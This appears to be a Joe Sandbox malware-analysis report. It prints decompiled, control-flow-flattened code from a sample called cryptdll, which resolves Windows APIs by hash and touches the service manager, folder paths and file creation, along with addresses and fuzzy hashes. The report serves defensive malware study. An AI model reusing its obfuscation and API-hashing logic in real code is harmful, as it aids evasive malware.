0x00623a0d
0x0062394d
0x00623953
0x00623974
0x00623976
0x00000000
0x00623978
0x00623982
0x00623984
0x0062398b
0x0062399e
0x006239a3
0x006239a3
0x006239bc
0x006239d8
0x006239dd
0x006239e2
0x006239e7
0x006239e7
0x00623955
0x00623955
0x0062395d
0x0062396d
0x0062396d
0x00000000
0x00000000
0x00000000
0x0062395d
0x00623953
0x00000000
0x00623947
0x0062393c
0x00623926
0x00000000
0x0062391b
0x00623a6e
0x00623ad6
0x00623ad8
0x00623adf
0x00623af2
0x00623af7
0x00623af7
0x00623b0b
0x00623b0d
0x00623b12
0x00623b17
0x00623b2a
0x00623b2f
0x00623b2f
0x00623b36
0x00623b38
0x00623b3f
0x00623b52
0x00623b57
0x00623b57
0x00623b60
0x00623b62
0x00623b66
0x00000000
0x00623a70
0x00623a75
0x00000000
0x00623a77
0x00623a77
0x00623a7e
0x00623a91
0x00623a96
0x00623a96
0x00623aa1
0x00623aa5
0x00623aac
0x00000000
0x00623aac
0x00623a75
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 00623A48

Strings

., xrefs: 0062394D

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .
API String ID: 1974802433-248832578
Opcode ID: e811caaa66fa03a7616f9bd75447131ed6cacf2cf7e79cb57313d355b9aaace7
Instruction ID: 6398a108a1ca9d7b545f651dfc161798d2755a1012fbbd6bb04634e83fa677ac
Opcode Fuzzy Hash: e811caaa66fa03a7616f9bd75447131ed6cacf2cf7e79cb57313d355b9aaace7
Instruction Fuzzy Hash: 25511570B04A3147CB34AB68B8456BB369B9B91700F10092EF585D7391EB7ECF464F92

Uniqueness

Uniqueness Score: -1.00%

Function 00625040, Relevance: 1.7, APIs: 1, Instructions: 248
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00625040(intOrPtr __ecx, intOrPtr __edx) {
				char _v4;
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v36;
				intOrPtr _v44;
				signed int _v52;
				void* _v68;
				void* __ebx;
				void* __ebp;
				void* _t16;
				void* _t17;
				void* _t23;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t35;
				void* _t37;
				void* _t41;
				void* _t42;
				void* _t45;
				void* _t50;
				void* _t51;
				void* _t52;
				signed int _t53;
				void* _t58;
				intOrPtr* _t101;
				void* _t103;
				signed int _t104;
				void* _t105;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t116;

				_t101 = _v12;
				_t58 = 0;
				_v16 = __edx;
				_t112 = 0;
				_v20 = __ecx;
				_t104 = 0x1ca940c1;
				while(1) {
					_t16 = _v28;
					while(1) {
						L2:
						_t115 = _t104 - 0x12f72f95;
						if(_t115 <= 0) {
							break;
						}
						__eflags = _t104 - 0x26342ffd;
						if(__eflags > 0) {
							__eflags = _t104 - 0x2fab56c4;
							if(_t104 != 0x2fab56c4) {
								goto L40;
							} else {
								_t17 =  *0x62e494;
								__eflags = _t17;
								if(_t17 == 0) {
									_t17 = E00623E60(_t58, E00623F00(0x9bab0b12), 0x7facde30, _t112);
									 *0x62e494 = _t17;
								}
								_t105 =  *_t17();
								__eflags =  *0x62dd18;
								if( *0x62dd18 == 0) {
									 *0x62dd18 = E00623E60(_t58, E00623F00(0x9bab0b12), 0x9ff0609c, _t112);
								}
								_t16 = RtlAllocateHeap(_t105, 8, 0x20000); // executed
								_t58 = _t16;
								__eflags = _t58;
								if(_t58 != 0) {
									_t104 = 0x8956eec;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						} else {
							if(__eflags == 0) {
								_t23 =  *0x62e484;
								__eflags = _t23;
								if(_t23 == 0) {
									_t23 = E00623E60(_t58, E00623F00(0x26f5757c), 0x9e91db81, _t112);
									 *0x62e484 = _t23;
								}
								 *_t23(_v24, 1, _t112, 0x2000,  &_v4);
								asm("sbb esi, esi");
								_t26 =  *0x62e18c;
								_t104 = (_t104 & 0x0b23632b) + 0x5d498c4;
								__eflags = _t26;
								if(_t26 == 0) {
									_t26 = E00623E60(_t58, E00623F00(0x26f5757c), 0x268fe5f0, _t112);
									 *0x62e18c = _t26;
								}
								_t16 =  *_t26(_v44);
								goto L40;
							} else {
								__eflags = _t104 - 0x1ca940c1;
								if(_t104 == 0x1ca940c1) {
									_t104 = 0x2fab56c4;
									continue;
								} else {
									__eflags = _t104 - 0x254bd927;
									if(_t104 != 0x254bd927) {
										L40:
										__eflags = _t104 - 0x1f0f293e;
										if(_t104 != 0x1f0f293e) {
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										}
									} else {
										_t50 =  *0x62e29c;
										__eflags = _t50;
										if(_t50 == 0) {
											_t50 = E00623E60(_t58, E00623F00(0x26f5757c), 0x4574c66, _t112);
											 *0x62e29c = _t50;
										}
										_t51 =  *_t50(_v20, 0, 0x30, 3, _t58, 0x20000,  &_v8,  &_v12, 0, 0);
										__eflags = _t51;
										if(_t51 == 0) {
											L13:
											_t104 = 0x11e09e52;
											while(1) {
												_t16 = _v28;
												goto L2;
											}
										} else {
											_t52 =  *0x62de08;
											__eflags = _t52;
											if(_t52 == 0) {
												_t52 = E00623E60(_t58, E00623F00(0x9bab0b12), 0xd8ef4c49, _t112);
												 *0x62de08 = _t52;
											}
											_t53 =  *_t52();
											_t104 = 0x128dff18;
											_t103 = _t58 + (_t53 & 0x0000001f) * 0x2c;
											_t16 = _t58 + _v52 * 0x2c;
											__eflags = _t103 - _t16;
											_v68 = _t16;
											_t101 =  >=  ? _t58 : _t103;
											continue;
										}
										L55:
									}
								}
							}
						}
						L54:
						return _t16;
						goto L55;
					}
					if(_t115 == 0) {
						_t29 =  *0x62e494;
						__eflags = _t29;
						if(_t29 == 0) {
							_t29 = E00623E60(_t58, E00623F00(0x9bab0b12), 0x7facde30, _t112);
							 *0x62e494 = _t29;
						}
						_t107 =  *_t29();
						_t31 =  *0x62df30;
						__eflags = _t31;
						if(_t31 == 0) {
							_t31 = E00623E60(_t58, E00623F00(0x9bab0b12), 0x5010a54d, _t112);
							 *0x62df30 = _t31;
						}
						return  *_t31(_t107, 0, _t58);
					}
					_t116 = _t104 - 0x10f7fbef;
					if(_t116 > 0) {
						__eflags = _t104 - 0x11e09e52;
						if(_t104 == 0x11e09e52) {
							_t35 =  *0x62e494;
							__eflags = _t35;
							if(_t35 == 0) {
								_t35 = E00623E60(_t58, E00623F00(0x9bab0b12), 0x7facde30, _t112);
								 *0x62e494 = _t35;
							}
							_t108 =  *_t35();
							_t37 =  *0x62df30;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E00623E60(_t58, E00623F00(0x9bab0b12), 0x5010a54d, _t112);
								 *0x62df30 = _t37;
							}
							 *_t37(_t108, 0, _t112);
							_t104 = 0x12f72f95;
							continue;
						} else {
							__eflags = _t104 - 0x128dff18;
							if(_t104 != 0x128dff18) {
								goto L40;
							} else {
								_t41 =  *0x62e270;
								__eflags = _t41;
								if(_t41 == 0) {
									_t41 = E00623E60(_t58, E00623F00(0x26f5757c), 0x56e230f9, _t112);
									 *0x62e270 = _t41;
								}
								_t42 =  *_t41(_v20,  *_t101, 1);
								__eflags = _t42;
								_v36 = _t42;
								_t104 =  !=  ? 0x26342ffd : 0x5d498c4;
								while(1) {
									_t16 = _v28;
									goto L2;
								}
							}
						}
					} else {
						if(_t116 == 0) {
							_t45 =  *0x62e200;
							__eflags = _t45;
							if(_t45 == 0) {
								_t45 = E00623E60(_t58, E00623F00(0x26f5757c), 0x16d40839, _t112);
								 *0x62e200 = _t45;
							}
							 *_t45(_v16, 1, _t112);
							goto L13;
						} else {
							if(_t104 == 0x5d498c4) {
								_t101 = _t101 + 0x2c;
								__eflags = _t101 - _t16;
								asm("sbb esi, esi");
								_t104 = (_t104 & 0x00ad60c6) + 0x11e09e52;
								goto L2;
							} else {
								if(_t104 != 0x8956eec) {
									goto L40;
								} else {
									_t112 = E006242C0(_t58, 0x2000);
									_t104 =  !=  ? 0x254bd927 : 0x12f72f95;
									while(1) {
										_t16 = _v28;
										goto L2;
									}
								}
							}
						}
					}
					goto L54;
				}
			}

0x00625047
0x0062504b
0x0062504d
0x00625051
0x00625053
0x00625057
0x0062505c
0x0062505c
0x00625060
0x00625060
0x00625060
0x00625066
0x00000000
0x00000000
0x006251af
0x006251b5
0x006252f9
0x006252ff
0x00000000
0x00625301
0x00625301
0x00625306
0x00625308
0x0062531b
0x00625320
0x00625320
0x00625327
0x0062532e
0x00625330
0x00625348
0x00625348
0x00625355
0x00625357
0x00625359
0x0062535b
0x0062535d
0x0062505c
0x0062505c
0x00000000
0x0062505c
0x0062505c
0x0062535b
0x006251bb
0x006251bb
0x00625277
0x0062527c
0x0062527e
0x00625291
0x00625296
0x00625296
0x006252ac
0x006252b0
0x006252b2
0x006252bd
0x006252c3
0x006252c5
0x006252d8
0x006252dd
0x006252dd
0x006252e6
0x00000000
0x006251c1
0x006251c1
0x006251c7
0x0062526d
0x00000000
0x006251cd
0x006251cd
0x006251d3
0x006252e8
0x006252e8
0x006252ee
0x0062505c
0x0062505c
0x00000000
0x0062505c
0x0062505c
0x006251d9
0x006251d9
0x006251de
0x006251e0
0x006251f3
0x006251f8
0x006251f8
0x0062521b
0x0062521d
0x0062521f
0x006250ef
0x006250ef
0x0062505c
0x0062505c
0x00000000
0x0062505c
0x00625225
0x00625225
0x0062522a
0x0062522c
0x0062523f
0x00625244
0x00625244
0x00625249
0x0062524e
0x0062525b
0x0062525d
0x0062525f
0x00625261
0x00625265
0x00000000
0x00625265
0x00000000
0x0062521f
0x006251d3
0x006251c7
0x006251bb
0x006253c0
0x006253c0
0x00000000
0x006253c0
0x0062506c
0x00625367
0x0062536c
0x0062536e
0x00625381
0x00625386
0x00625386
0x0062538d
0x0062538f
0x00625394
0x00625396
0x006253a9
0x006253ae
0x006253ae
0x00000000
0x006253b7
0x00625072
0x00625078
0x006250f9
0x006250ff
0x00625153
0x00625158
0x0062515a
0x0062516d
0x00625172
0x00625172
0x00625179
0x0062517b
0x00625180
0x00625182
0x00625195
0x0062519a
0x0062519a
0x006251a3
0x006251a5
0x00000000
0x00625101
0x00625101
0x00625107
0x00000000
0x0062510d
0x0062510d
0x00625112
0x00625114
0x00625127
0x0062512c
0x0062512c
0x00625139
0x0062513b
0x0062513d
0x0062514b
0x0062505c
0x0062505c
0x00000000
0x0062505c
0x0062505c
0x00625107
0x0062507a
0x0062507a
0x006250c2
0x006250c7
0x006250c9
0x006250dc
0x006250e1
0x006250e1
0x006250ed
0x00000000
0x0062507c
0x00625082
0x006250ad
0x006250b0
0x006250b2
0x006250ba
0x00000000
0x00625084
0x0062508a
0x00000000
0x00625090
0x0062509a
0x006250a8
0x0062505c
0x0062505c
0x00000000
0x0062505c
0x0062505c
0x0062508a
0x00625082
0x0062507a
0x00000000
0x00625078

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00020000,?,?,00628AC8,?,3251FEFE,?,?), ref: 00625355

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6362da00823d16885ecf6f310b5038c99b6a18dbecbb9f31973a1d7f043860d9
Instruction ID: 44ecb7ea324a4ebf407c9ebff9c662282c21719262b2a2149e73ef1f6f709b28
Opcode Fuzzy Hash: 6362da00823d16885ecf6f310b5038c99b6a18dbecbb9f31973a1d7f043860d9
Instruction Fuzzy Hash: 8A81D231B00F318BDB34AB78BC9576A36DBAB90744F51042DF852EB395EA358E054F86

Uniqueness

Uniqueness Score: -1.00%

Function 00629860, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00629860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x62e310;
							if( *0x62e310 == 0) {
								 *0x62e310 = E00623E60(_t64, E00623F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x62e54c; // 0x8ddff8
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x62dbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E00623E60(_t64, E00623F00(0xd9518805), 0x141622d6, _t94);
										 *0x62dbd8 = _t69;
									}
									_t53 =  *0x62e54c; // 0x8ddff8
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E00627C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x62e3f4;
											if(_t60 == 0) {
												_t60 = E00623E60(_t64, E00623F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x62e3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E00623D00( &_v536);
											_t72 =  *0x62e54c; // 0x8ddff8
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x62dbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E00623E60(_t64, E00623F00(0xd9518805), 0x141622d6, _t94);
								 *0x62dbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x62e54c; // 0x8ddff8
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E00623040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x62e494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E00623E60(_t64, E00623F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x62e494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x62dd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E00623E60(_t64, E00623F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x62dd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x62e54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E00627E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x62e18c;
								if( *0x62e18c == 0) {
									 *0x62e18c = E00623E60(_t64, E00623F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x62e54c; // 0x8ddff8
									 *((intOrPtr*)(_t47 + 8)) = 0x627e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x00629868
0x0062986a
0x00629871
0x00629875
0x00629875
0x00629878
0x00629880
0x00629880
0x00629880
0x00629880
0x00629885
0x00000000
0x00000000
0x0062988b
0x00629993
0x00629995
0x006299ad
0x006299ad
0x006299bb
0x006299bd
0x006299bf
0x006299c1
0x006299d8
0x006299c3
0x006299c3
0x006299c8
0x006299ce
0x006299ce
0x00000000
0x00629891
0x00629891
0x00629896
0x00629936
0x0062993b
0x00000000
0x00629941
0x00629941
0x00629947
0x00629949
0x00629961
0x00629963
0x00629963
0x00629969
0x0062997d
0x0062997f
0x00629981
0x00629986
0x00000000
0x00629986
0x0062989c
0x0062989c
0x00629927
0x0062992c
0x00000000
0x006298a2
0x006298a7
0x00629905
0x0062990d
0x00629912
0x0062991a
0x00000000
0x006298a9
0x006298ae
0x00000000
0x006298b4
0x006298b4
0x006298bb
0x006298ce
0x006298d3
0x006298d3
0x006298e4
0x006298ea
0x006298ef
0x006298f5
0x006298fb
0x00000000
0x006298fb
0x006298ae
0x006298a7
0x0062989c
0x00629896
0x00000000
0x0062988b
0x006299e2
0x006299e7
0x00629ae3
0x00629ae8
0x00629b02
0x00629b07
0x00629b09
0x00629b1c
0x00629b21
0x00629b21
0x00629b33
0x00629b35
0x00629b3e
0x00629b3e
0x00629b44
0x00000000
0x00000000
0x00000000
0x00000000
0x006299ed
0x006299ed
0x00629a73
0x00629a78
0x00629a7a
0x00629a8d
0x00629a92
0x00629a92
0x00629a99
0x00629a9b
0x00629aa0
0x00629aa2
0x00629ab5
0x00629aba
0x00629aba
0x00629ac7
0x00629ac9
0x00629ace
0x00629ad0
0x00629b4f
0x00629b58
0x00629ad2
0x00629ad2
0x00629ad9
0x00000000
0x00629ad9
0x006299f3
0x006299f3
0x006299f8
0x00629a47
0x00629a49
0x00629a61
0x00629a61
0x00629a67
0x00629a69
0x00000000
0x006299fa
0x006299fa
0x006299ff
0x00000000
0x00629a05
0x00629a05
0x00629a0d
0x00629a12
0x00629a17
0x00629a1f
0x00629a24
0x00629a2c
0x00629a31
0x00629a38
0x00000000
0x00629a38
0x006299ff
0x006299f8
0x006299ed
0x00000000
0x00629aea
0x00629aea
0x00629aea
0x00629b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,008DDFE0), ref: 0062997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 006299BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 00629A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 00629B33

Strings

2S, xrefs: 00629A05
Y4[0, xrefs: 00629AEA

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: 2S$Y4[0
API String ID: 2382770032-4131004879
Opcode ID: 12050f55c8182333225bc581e036437f8c2a2119fa17d85cd83f664c117767f6
Instruction ID: dbfd5d5248e9f1bdcab0d3e5db41d637ea7d092f077b8616da10bfbc90e28983
Opcode Fuzzy Hash: 12050f55c8182333225bc581e036437f8c2a2119fa17d85cd83f664c117767f6
Instruction Fuzzy Hash: 8561E530B04B254BEB68AF68BC857AA7297E7D0744F14082EF145DB351EA35CD068FB6

Uniqueness

Uniqueness Score: -1.00%

Function 00628400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00628400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E0062B6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x62dec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E00623F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E00623E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x62dec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x62de3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E00623F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E00623E60(_t101, _t98, 0x20de7595, _t126);
									 *0x62de3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x62e1d4;
										if(_t93 == 0) {
											_t97 = E00623F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E00623E60(_t101, _t97, 0xa229df38, _t126);
											 *0x62e1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x62e3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E00623F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E00623E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x62e3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x62de04;
							if( *0x62de04 == 0) {
								_t95 = E00623F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x62de04 = E00623E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x00628400
0x00628400
0x00628406
0x0062840e
0x00628416
0x0062841e
0x00628426
0x0062842b
0x00628430
0x00628438
0x00628440
0x00628445
0x0062844a
0x00628452
0x0062845a
0x00628462
0x0062846a
0x00628472
0x0062847a
0x00628482
0x00628491
0x00628496
0x0062849a
0x006284a2
0x006284af
0x006284b3
0x006284bb
0x006284c3
0x006284cb
0x006284cf
0x006284d7
0x006284df
0x006284df
0x006284e3
0x006284e3
0x006284e3
0x006284e3
0x006284e9
0x00000000
0x00000000
0x006284ef
0x0062866e
0x00628676
0x00628696
0x0062869a
0x006286a2
0x006286a6
0x006286aa
0x006286b2
0x006286b4
0x00000000
0x006286ba
0x006286ba
0x006286c5
0x006286d1
0x006286bc
0x006286bc
0x006286be
0x00000000
0x00000000
0x00000000
0x00000000
0x006286be
0x006286ba
0x006284f5
0x006284fb
0x0062854a
0x0062854f
0x00628551
0x00628558
0x0062855d
0x00628564
0x00628569
0x00628569
0x00628578
0x0062857c
0x0062857e
0x00628589
0x0062858f
0x00628591
0x00628598
0x0062859d
0x006285a4
0x006285a9
0x006285a9
0x006285af
0x00000000
0x006284fd
0x00628503
0x00628543
0x00000000
0x00628505
0x0062850b
0x00000000
0x00628511
0x00628511
0x00628518
0x0062851f
0x00628524
0x0062852b
0x00628530
0x00628530
0x0062853a
0x0062853c
0x00000000
0x0062853c
0x0062850b
0x00628503
0x006284fb
0x00000000
0x006284ef
0x006285c8
0x006285ce
0x00628630
0x00628635
0x00628637
0x0062863e
0x00628643
0x0062864a
0x0062864f
0x0062864f
0x00628660
0x00628662
0x00000000
0x006285d0
0x006285d0
0x006285d6
0x00000000
0x006285d8
0x006285de
0x006285e0
0x006285e7
0x006285ec
0x006285fa
0x006285fa
0x0062861d
0x0062861f
0x00628621
0x00628624
0x00000000
0x00628626
0x00628626
0x00000000
0x00628626
0x00628624
0x006285d6
0x00000000
0x006285b1
0x006285b1
0x006285b1
0x006285bd
0x006285bd
0x006285c7
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 0062861D

Strings

) `3, xrefs: 00628543
6w:, xrefs: 006285D0
=, xrefs: 0062846A
6w:, xrefs: 00628662
) `3, xrefs: 006285C8

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: fa82ebb1bace768a8528beea5b9eb9f9c5edaac25abbe2bc06ebd30a009c38e7
Instruction ID: b5ddbfaf3fda8bb291c783bc3479bceec864e451f6246c475535431ac646bb49
Opcode Fuzzy Hash: fa82ebb1bace768a8528beea5b9eb9f9c5edaac25abbe2bc06ebd30a009c38e7
Instruction Fuzzy Hash: BA612671A097229FC754DF28E84566FBBE6ABD0714F00881DF49997390DB78DD098F82

Uniqueness

Uniqueness Score: -1.00%
